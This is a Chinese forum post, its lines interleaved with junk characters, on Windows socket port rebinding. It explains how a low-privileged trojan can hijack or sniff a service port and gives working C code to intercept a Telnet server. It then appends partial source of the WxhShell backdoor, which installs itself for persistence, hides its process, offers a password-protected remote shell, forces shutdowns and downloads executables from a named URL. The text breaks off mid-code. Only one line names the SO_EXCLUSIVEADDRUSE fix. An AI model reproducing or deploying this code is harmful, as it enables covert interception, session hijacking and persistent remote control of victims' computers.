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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: v\Xyz )  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >I *uo.OF  
fTV}IP  
  saddr.sin_family = AF_INET; :pg]0X;  
*d,Z ?S/  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); iea7*]vW  
(&-!l2  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); vI+X9C?  
'&Tq/;Ml  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 iKe68kx  
CJ[^Fi?CH  
  这意味着什么?意味着可以进行如下的攻击: |C.[eHe&D  
APL #-`XC  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 TWo.c _l  
DzG$\%G2R}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \kVi&X=q:  
R\n*O@E v3  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 aA&}=lm  
=F90SyzTy  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  E|omC_h  
=&v&qn e9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }#QYZ nR  
e:zuP.R  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Q%^!j_#  
6Bn%7ZBv  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ">"B  
qgZN&7Nn:  
  #include P)&qy .+E0  
  #include b0lZb'  
  #include 2W vf[2Xw  
  #include    }|(v0]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   X,i^OM_  
  int main() 2sNV09id  
  { ~<Sb:I zld  
  WORD wVersionRequested; tk,Vp3p  
  DWORD ret; \TTt!"aK  
  WSADATA wsaData; 04QY x}a  
  BOOL val; &{H LYxh   
  SOCKADDR_IN saddr; <& p0:S7  
  SOCKADDR_IN scaddr; _q1E4z  
  int err; @}iY(-V  
  SOCKET s; B>,&{ah/5J  
  SOCKET sc; ,lr\XhO  
  int caddsize; EZg$mp1  
  HANDLE mt; b0!ZA/YC-  
  DWORD tid;   'AJlkLqm#>  
  wVersionRequested = MAKEWORD( 2, 2 ); .z&,d&E  
  err = WSAStartup( wVersionRequested, &wsaData ); CWS&f g%o{  
  if ( err != 0 ) { ca!DZ%y  
  printf("error!WSAStartup failed!\n"); 4Q n5Mr@<  
  return -1; )MU)'1jc,  
  } o<nkK+=Afm  
  saddr.sin_family = AF_INET; >.f'_2#Z&  
   yOXL19d@p_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 D0a3%LBS/2  
k&SI -jxj  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); g|PRk9  
  saddr.sin_port = htons(23); x^P~+(g  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >'96SE3  
  { X*Cvh|  
  printf("error!socket failed!\n"); R`!'c(V  
  return -1; KJ;NcUq  
  } !Au9C   
  val = TRUE; a>XlkkX  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $3Srr*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) m*Q*{M_e  
  { bf1EMai"  
  printf("error!setsockopt failed!\n"); ^=V b'g3P~  
  return -1; P gK> Z,  
  } (n3MbVi3LU  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; mj9r#v3.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 No G`J$D  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 z;d]=PT  
h,%b>JFo  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) r&?i>.Kz8  
  { {m2lVzK  
  ret=GetLastError(); mDJN)CX  
  printf("error!bind failed!\n"); Xj("  
  return -1; AEr8^6  
  } !$5.\D  
  listen(s,2); Jt}0%C3d  
  while(1) >@wyiBU  
  { B2DWSp-8*  
  caddsize = sizeof(scaddr); @#= ail  
  //接受连接请求 ^J{tOxO=l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1pT-PO 3=  
  if(sc!=INVALID_SOCKET) iF1E 5{dH  
  { "<5su5]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 60r4%> d  
  if(mt==NULL) =& .KKr  
  { [$[1|r *Q  
  printf("Thread Creat Failed!\n"); `(@}O?w!1  
  break; /,m!S RJ  
  } R#0Z  
  } b9gezXAcd  
  CloseHandle(mt); g(D r/D  
  } ^~Dmb2h  
  closesocket(s); 5$w`m3>i(  
  WSACleanup(); lyYi2& %  
  return 0; }E%#g#  
  }   /<WK2G  
  DWORD WINAPI ClientThread(LPVOID lpParam) b ?-VZA:  
  { i1E~F  
  SOCKET ss = (SOCKET)lpParam; f R?Xq@c  
  SOCKET sc; N 2\lBi  
  unsigned char buf[4096]; bO2s'!x  
  SOCKADDR_IN saddr; ohPCYt  
  long num; q V +gQ  
  DWORD val; D3BT>zTGK  
  DWORD ret; d5O_~x f&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 rbw5.NU  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   JL1z8Nu  
  saddr.sin_family = AF_INET; ~p0M|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); bm:"&U*tu'  
  saddr.sin_port = htons(23); jx7b$x]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4Y#F"+m.]  
  { '**dD2 n  
  printf("error!socket failed!\n"); 50l! f7  
  return -1; ,-GkP>8f(  
  } Ja@zeD)f"  
  val = 100; f8c'`$O  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _R 6+bB$  
  { 6bXR?0$*M.  
  ret = GetLastError(); ToVi;  
  return -1; ;&N=t64"  
  } 2a 3RRP  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) WFTXSHcG  
  { 5!pof\/a  
  ret = GetLastError(); NEb M>1>^  
  return -1; Bl"BmUn  
  } =K ctAR;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ra4$/@3n  
  { 7\?0d!  
  printf("error!socket connect failed!\n"); IW<nfg  
  closesocket(sc); v.Y?<=E+<d  
  closesocket(ss); 6|-V{  
  return -1; hhU: nw  
  } )=vQrMyB  
  while(1) 'q_^28rK  
  { D%+cf  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 i 6@c@n  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 x  #Um`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Pzl2X@{%  
  num = recv(ss,buf,4096,0); sD!)=t_  
  if(num>0) ,sqx xq  
  send(sc,buf,num,0); #S*`7MvM  
  else if(num==0) ?"o7x[  
  break; ;`f14Fb  
  num = recv(sc,buf,4096,0); i6Kcj  
  if(num>0) >&z=ktB  
  send(ss,buf,num,0); =5v=<, ]  
  else if(num==0) t(R Jc  
  break; \69h>h  
  } {Hu@|Q\ ~&  
  closesocket(ss); }CCTz0[D"  
  closesocket(sc); H>qw@JiO!  
  return 0 ; 'Cv>V"X: `  
  } "nzQ$E>?$  
9 Y-y?Y  
H`:2J8   
========================================================== Hv~& RZpe  
dN%*-p(  
下边附上一个代码,,WXhSHELL ruKm_j#J  
|*T3TsP u  
========================================================== ~g|Z6-?4Jj  
R iPxz=kr  
#include "stdafx.h" Ddr.kXIpo  
R|&Rq(ow"  
#include <stdio.h> Sz_{#-  
#include <string.h> Z?);^m|T  
#include <windows.h> o;zU;pkB  
#include <winsock2.h> @|jLw($Ly  
#include <winsvc.h> PXRkK63  
#include <urlmon.h> a At<36{?  
)#H&lH  
#pragma comment (lib, "Ws2_32.lib") L^{1dVGWNa  
#pragma comment (lib, "urlmon.lib") 6Kbc:wlR  
E<~Fi .M;\  
#define MAX_USER   100 // 最大客户端连接数 8?za&v  
#define BUF_SOCK   200 // sock buffer dx&!RK+  
#define KEY_BUFF   255 // 输入 buffer YcaomPo  
`Q@w*ta)  
#define REBOOT     0   // 重启 @F-InfB8.  
#define SHUTDOWN   1   // 关机 5vmc'Om  
Nf!g1D"U  
#define DEF_PORT   5000 // 监听端口 <Pm!#)-g9  
b:M1P&R  
#define REG_LEN     16   // 注册表键长度 5p}ri,Y<  
#define SVC_LEN     80   // NT服务名长度 0{q>'dv  
,dR<O.{ 0  
// 从dll定义API l@irA tg4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  l:i&l?>_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ILU7Yhk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Tx19\\r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;K$ !c5  
i0TbsoKh:  
// wxhshell配置信息 ev'` K=n8  
struct WSCFG { V4 `  
  int ws_port;         // 监听端口 ~\oF}7l$  
  char ws_passstr[REG_LEN]; // 口令 p|gzU$FWbk  
  int ws_autoins;       // 安装标记, 1=yes 0=no x* 9 Xu"?  
  char ws_regname[REG_LEN]; // 注册表键名 J\@W+/#dF  
  char ws_svcname[REG_LEN]; // 服务名 !2o1c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [qL{w&R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i!a. 6Gq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )/y7Fh  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3 i;sB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y v58~w*"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x@)G@'vV|  
JH|]B|3  
}; s;ivoGe}  
&}y?Lt  
// default Wxhshell configuration _ g8CvH)?!  
struct WSCFG wscfg={DEF_PORT, a$AR  
    "xuhuanlingzhe", ++=f7y u  
    1, vmj'X>Q  
    "Wxhshell", li37*  
    "Wxhshell", s?5vJ:M Xr  
            "WxhShell Service", mp:xR^5c  
    "Wrsky Windows CmdShell Service", Ct<]('Hm(  
    "Please Input Your Password: ", KL<,avC/  
  1, Ym8 V)  
  "http://www.wrsky.com/wxhshell.exe", D^Gs_z$['  
  "Wxhshell.exe" l"rX'g?  
    }; :u9OD` D  
~z kzuh  
// 消息定义模块 JE *d-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bl3?C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $ o }  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MtD0e@  
char *msg_ws_ext="\n\rExit."; Mp7X+o/  
char *msg_ws_end="\n\rQuit."; (k^o[HF  
char *msg_ws_boot="\n\rReboot..."; ,6 IKkyD  
char *msg_ws_poff="\n\rShutdown..."; @dyh: 2!  
char *msg_ws_down="\n\rSave to "; &E+mXEve  
*8I"7'xh  
char *msg_ws_err="\n\rErr!"; 'nT#c[x[0  
char *msg_ws_ok="\n\rOK!"; QG=K^g  
YctWSfh  
char ExeFile[MAX_PATH]; SYd6D@^2j  
int nUser = 0; xjy(f~'  
HANDLE handles[MAX_USER]; 8-PHW,1@a3  
int OsIsNt; W;T 5[  
Ntt*}|:QV<  
SERVICE_STATUS       serviceStatus; w$DHMpW'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]<*-pRN  
,x=S)t  
// 函数声明 <5 }  
int Install(void); vk4Q2P  
int Uninstall(void); r,HIoeAKP  
int DownloadFile(char *sURL, SOCKET wsh); q"e]\Tb=we  
int Boot(int flag); $3 =S\jyfK  
void HideProc(void); nCS" l5  
int GetOsVer(void); `*ALb|4ilG  
int Wxhshell(SOCKET wsl); bgYUsc*uR  
void TalkWithClient(void *cs); H:F'5Zt  
int CmdShell(SOCKET sock); %6W%-`  
int StartFromService(void); {[)n<.n[g  
int StartWxhshell(LPSTR lpCmdLine); 8Drz i!}  
gkmV; 0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .]e_je_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )`BKEa f  
p/U{*i ]t  
// 数据结构和表定义 4:9N]1JCb  
SERVICE_TABLE_ENTRY DispatchTable[] = mIZ6[ ?  
{ :2.<JUDM  
{wscfg.ws_svcname, NTServiceMain}, jx{wOb~oO)  
{NULL, NULL} #:NY9.\o  
}; pft-.1py  
^D76_'{  
// 自我安装 hS1I ;*t  
int Install(void) UDT\Xc  
{ f~10 i D  
  char svExeFile[MAX_PATH]; [jv+Of IZ  
  HKEY key; kMx)G]  
  strcpy(svExeFile,ExeFile); ;pw9+zo ^M  
P-/"sD  
// 如果是win9x系统,修改注册表设为自启动 bXi!_'z$  
if(!OsIsNt) { }P'c8$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v!W{j&N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PX*}.L *x  
  RegCloseKey(key); 1\a.o[g3e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v5\5:b {/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V}Ee1C  
  RegCloseKey(key); 6f:uAFwG  
  return 0; );zLgNx,  
    } !z1\ #|>  
  } DNr*|A2<  
} <aLS4  
else { unih"};ou  
7`f%?xVn0  
// 如果是NT以上系统,安装为系统服务 GC~nr-O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _=cU2  
if (schSCManager!=0) KM+[1Ze$  
{ Z (t7QFd  
  SC_HANDLE schService = CreateService |\W53,n9  
  ( |R2p^!m  
  schSCManager, pm=m~  
  wscfg.ws_svcname, oY+p;&H  
  wscfg.ws_svcdisp, N% ?R(  
  SERVICE_ALL_ACCESS, _X|prIOb=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WvZt~x&2  
  SERVICE_AUTO_START, Z9.0#Jnu  
  SERVICE_ERROR_NORMAL, iu?gZVyka  
  svExeFile, {_mVfFG  
  NULL, G c \^Kg^#  
  NULL, UwxszEHC  
  NULL, }<YU4EW  
  NULL, P{x6e/  
  NULL %Z p|1J'"  
  ); \Si p  
  if (schService!=0) 1F_$[iIX]  
  { \,fa"^8  
  CloseServiceHandle(schService); _, E/HAX  
  CloseServiceHandle(schSCManager); Cs(sar:7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >(-A"jf  
  strcat(svExeFile,wscfg.ws_svcname); ?;y-skh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >C19Kie72  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]}kw'&  
  RegCloseKey(key); *7E#=xb  
  return 0; 8{i O#C  
    } I(Z\$  
  } zu.B>INe  
  CloseServiceHandle(schSCManager); Wb>;L@jB7  
} dr(-k3ex  
} 14"+ctq  
7{]dh+)  
return 1; i)'tt9f$  
} p="0Y<2l  
v2I? 5?j  
// 自我卸载 v<t?t<|J  
int Uninstall(void) e_|Z&  
{ )o<^6Ic%7  
  HKEY key; KIcIYCBz  
sPG500=)  
if(!OsIsNt) { qvLh7]sbK:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yVgC1-8i*  
  RegDeleteValue(key,wscfg.ws_regname); KIi:5Y  
  RegCloseKey(key); "g)V&Lx#X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t>AOF\  
  RegDeleteValue(key,wscfg.ws_regname); xr{Ym99E$  
  RegCloseKey(key); WQ}wQ:]  
  return 0; E%DT;1  
  } qY$ [2]  
} ] j8bv3  
} d!UxFY@  
else { -pIz-*  
}lDX3h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7FJ4;HLQ  
if (schSCManager!=0) _-lE$ O  
{ =kfa1kD&{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |g.CS$'#Nt  
  if (schService!=0) 33EF/k3vW  
  { Av?R6  
  if(DeleteService(schService)!=0) { "V(P)_  
  CloseServiceHandle(schService); K"x_=^,Yu*  
  CloseServiceHandle(schSCManager); [@ev%x,  
  return 0; 8>t,n,k  
  } ,0a_ou"P=_  
  CloseServiceHandle(schService); swxX3GR  
  } #G.eiqh$a  
  CloseServiceHandle(schSCManager); v2E<~/|  
} & W od  
} *g,ls(r\[  
+8C }%6aX  
return 1; Z[OX {_2]K  
} PMpq>$6b7  
$L 8>Ha}  
// 从指定url下载文件 w;gk=<_  
int DownloadFile(char *sURL, SOCKET wsh) `!/[9Y#Hp  
{ L/[VpD  
  HRESULT hr; $3 P De  
char seps[]= "/"; pa1<=w  
char *token; 5E-;4o;RI(  
char *file; M2|!,2  
char myURL[MAX_PATH]; (^35cj{s  
char myFILE[MAX_PATH]; AU3Rz&~  
[B# XA}w  
strcpy(myURL,sURL); 9zb1t1[ W  
  token=strtok(myURL,seps); mmbe.$73  
  while(token!=NULL) )\#*~73  
  { h@Ea5x  
    file=token; mpug#i6q  
  token=strtok(NULL,seps); @b,H'WvhfS  
  } v>#Njgo  
`VKFA<T  
GetCurrentDirectory(MAX_PATH,myFILE); b9RHsr]V  
strcat(myFILE, "\\"); }q`9U!v  
strcat(myFILE, file);  C3{hf  
  send(wsh,myFILE,strlen(myFILE),0); ?a3 wBy  
send(wsh,"...",3,0); +7}^Y}(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); aWIkp5BFj  
  if(hr==S_OK) &U7v=a  
return 0; 88~Nrl=co  
else ;ND$4$  
return 1; X7huc*  
2+rT .GFc  
} }[;ZZm?  
8&G9 ?n`I5  
// 系统电源模块 9L:wfg}8s  
int Boot(int flag) 'EiCT l  
{ L@{'J  
  HANDLE hToken; s|e.mZk/  
  TOKEN_PRIVILEGES tkp; Vo@7G@7K(  
U-9Aq  
  if(OsIsNt) { h(HpeN%`#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x*7A33@i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "-$}GUK?Z  
    tkp.PrivilegeCount = 1; % -!%n= P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M5ZH6X@5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x.*^dM@V  
if(flag==REBOOT) { Ks P2./N  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <E4(KE  
  return 0; Tse#{  
} GIM/T4!)  
else { q$:7j5E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5_aj]"x  
  return 0; +PjTT6  
} x 4+WZYv3  
  } |+q_kx@?l  
  else { qU !dg  
if(flag==REBOOT) { =O }^2OARo  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s#s">hMrI  
  return 0; %6320 x  
} %NrH\v{7Q  
else { ?.SGn[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b!]O]dk#  
  return 0; (p[#[CI9  
} ,Q-,#C"  
} |@X^_L.!  
-xHR6  
return 1; ;DuVb2~+  
} '#f<wf n  
Iw`tb N L[  
// win9x进程隐藏模块 .D 4G;=Q  
void HideProc(void) x"Ky_P~  
{ 8M*+ |  
|Gf<Ql_.4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d/7R}n^  
  if ( hKernel != NULL ) <R7{W"QTA)  
  { Zo<)r2|O.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~#sD2b` 0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `q-+r1u  
    FreeLibrary(hKernel); LeLUt<4~  
  } jw:z2:0~  
S[zvR9AW&  
return; $H@SXx  
} |#2WN-  
SUc%dpXZa  
// 获取操作系统版本 '5BD%#[  
int GetOsVer(void) W~ ~'  
{ i<"lXu  
  OSVERSIONINFO winfo; 1,wcf,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ddfGR/1X  
  GetVersionEx(&winfo); ^aSb~lce  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -Q n-w3~&  
  return 1; 9>~pA]j%  
  else ,W}:vdC  
  return 0; ( V4Ppg  
} dipfsH]p  
%]4Tff  
// 客户端句柄模块 ,m=G9QcN  
int Wxhshell(SOCKET wsl) EB[T 5{  
{ N(7 XILC  
  SOCKET wsh; Z\nDR|3  
  struct sockaddr_in client; pN[WYM?[  
  DWORD myID; vh a9,5_  
xsH1)  
  while(nUser<MAX_USER) M@cFcykK  
{ |T|m5V'l  
  int nSize=sizeof(client); CeYhn\m5K0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4-yK!LR  
  if(wsh==INVALID_SOCKET) return 1; CVfV    
e34>q:#5l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :0r,.)  
if(handles[nUser]==0) Z=]SAK`  
  closesocket(wsh); zKd@Ab  
else XDY]LAV  
  nUser++; U!(.i1^n  
  } +HS]kFH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); eN=jWUoCh  
3YvKHn|V"  
  return 0; i1B!oZ3q  
} t1?aw<  
Z mJ<h&  
// 关闭 socket n~ *|JJ*`  
void CloseIt(SOCKET wsh) 7 9t E  
{ ?8-Am[xH  
closesocket(wsh); ;M3%t=KV  
nUser--; ]>X_E%`G<b  
ExitThread(0); _9h$8(wjn  
} [J,.?'V  
no*)M7  
// 客户端请求句柄 ?@'&<o0p#  
void TalkWithClient(void *cs) aD: #AmbJ  
{ >&(#p@#  
)pHtsd.eP  
  SOCKET wsh=(SOCKET)cs; 1{a%V$S[  
  char pwd[SVC_LEN]; DG;7+2U  
  char cmd[KEY_BUFF]; C8-7XQ=B:b  
char chr[1]; <w9~T TS  
int i,j; cXb*d|-|N  
o !tC{"g  
  while (nUser < MAX_USER) { w)EY j+L  
+u$l]~St\  
if(wscfg.ws_passstr) { #LasTN9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q/ljH_-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -ZaeX]^&Q\  
  //ZeroMemory(pwd,KEY_BUFF); @ZJL]TO  
      i=0; ?4b0\ -  
  while(i<SVC_LEN) { KqFI2@v   
U ]<l-~|  
  // 设置超时 y\skke]  
  fd_set FdRead; "8f4s|@ 3  
  struct timeval TimeOut; P6v ANL-B  
  FD_ZERO(&FdRead); {M**a  
  FD_SET(wsh,&FdRead); 4m0^ N  
  TimeOut.tv_sec=8; +hN>Q $E  
  TimeOut.tv_usec=0; zy,SL |6:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fmW{c mr|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); RDdnOzx  
Ev7.!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,\M77V  
  pwd=chr[0]; Y ^+x<  
  if(chr[0]==0xd || chr[0]==0xa) { U,#~9  
  pwd=0; 2z-Nw <bA  
  break; w/6X9d  
  } %,T*[d&i  
  i++; ;iKLf~a a  
    } p{w-  
Xz^nm\  
  // 如果是非法用户,关闭 socket ^^b'tP1>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7a"06Et^  
} PeJ#9hI~rQ  
nj s:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dxX`\{E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .iy4 (P4  
E{\CE1*  
while(1) { $lxpwO  
gC1LQ!:;Oi  
  ZeroMemory(cmd,KEY_BUFF); k6b ct@7  
>$D!mraih  
      // 自动支持客户端 telnet标准   /yI4;:/  
  j=0; @62,.\F  
  while(j<KEY_BUFF) { m'"r<]pB*4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Skt-5S#  
  cmd[j]=chr[0]; wMVUTm  
  if(chr[0]==0xa || chr[0]==0xd) { 91]|4k93  
  cmd[j]=0; WoTeIkM9  
  break; gv`_+E{P  
  } EVPQe-  
  j++; ;\pVc)\4"  
    } aj5HtP-  
'gf[Wjb,%  
  // 下载文件 z8X7Y >+SA  
  if(strstr(cmd,"http://")) { oP,*H6)i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); n6oOk nCna  
  if(DownloadFile(cmd,wsh)) PBn7{( x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +pR,BjY  
  else x9 > ho  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GB$`b'x@S  
  } F!X0Wo=  
  else { @;4;72@O  
=dAAb\:  
    switch(cmd[0]) { 7p1Y g  
  u}%OC43  
  // 帮助 aGbG@c8PRi  
  case '?': { 5SY%B#;5G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bWo  
    break; M_E,pg=rWI  
  } rDWAZ<;;  
  // 安装 ogFo/TKM  
  case 'i': { &Sd5]r@+  
    if(Install()) YZf{."Opj[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :Qge1/  
    else FOG{dio  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x$d[Ovw-  
    break; h?xgOb!4  
    } bN_e~z  
  // 卸载 )k(K/m  
  case 'r': { X~r9yl>  
    if(Uninstall()) LACrg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o ]*yI[\  
    else x {NBhq(4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D)PX|xrn  
    break; E*YmHJ:k  
    } LQ~|VRRX<  
  // 显示 wxhshell 所在路径 in1rDN%Vi  
  case 'p': { D)-LZbPa  
    char svExeFile[MAX_PATH]; @6 "MhF  
    strcpy(svExeFile,"\n\r"); liS'  
      strcat(svExeFile,ExeFile); 8!2)=8|f  
        send(wsh,svExeFile,strlen(svExeFile),0); sOLh'x f.  
    break; 2_w pj;E  
    } *HD(\;i-$  
  // 重启 M`&t=0D  
  case 'b': { -PPwX~;!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z,)H f  
    if(Boot(REBOOT)) +v B}E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2'fd4 rE5  
    else { O!"K'Bm  
    closesocket(wsh);  :tZsSK  
    ExitThread(0); dUv@u !}B  
    } wH|%3 @eJ  
    break; $ +WXM$N  
    } X;!*D  
  // 关机 Dl/ C?Fll  
  case 'd': { D/E5&6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); AOg'4  
    if(Boot(SHUTDOWN)) &| (K#|^@  
